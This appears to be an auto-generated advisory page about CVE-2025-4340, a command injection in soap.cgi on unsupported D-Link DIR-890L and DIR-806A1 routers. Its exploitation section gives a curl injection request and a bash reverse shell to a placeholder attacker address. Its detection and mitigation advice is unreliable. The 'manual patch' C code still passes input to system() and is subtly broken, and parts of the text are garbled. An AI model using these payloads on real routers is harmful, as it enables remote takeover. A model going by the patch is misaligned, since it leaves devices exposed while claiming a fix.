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How CVE-2025-4340 Works
The vulnerability exists in the `sub_175C8` function within `/htdocs/soap.cgi` on affected D-Link routers. Attackers can exploit improper input sanitization in SOAP requests to inject malicious commands. The unsanitized user-controlled data is passed directly to a system shell, allowing remote code execution with root privileges. The attack vector is network-based (AV:N) and requires no user interaction (UI:N). Since these devices are no longer supported, no official patch exists.
DailyCVE Form
Platform: D-Link routers
Version: DIR-890L/DIR-806A1
Vulnerability: Command injection
Severity: Critical
Date: 2025-05-13
What Undercode Say:
Exploitation
1. Craft malicious SOAP request:
curl -X POST "http://<TARGET_IP>/htdocs/soap.cgi" -d "action=apply¶m=|$(echo 'malicious_payload')"
2. Reverse shell payload:
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
Detection
1. Check vulnerable firmware:
grep -r "sub_175C8" /htdocs/soap.cgi
2. Log analysis:
tail -f /var/log/messages | grep "soap.cgi"
Mitigation
1. Network segmentation:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Disable SOAP service:
rm /htdocs/soap.cgi
3. Manual patch (if possible):
// Patch sub_175C8 to sanitize inputs
void sub_175C8(char input) {
sanitize(input); // Add input validation
system(input);
}
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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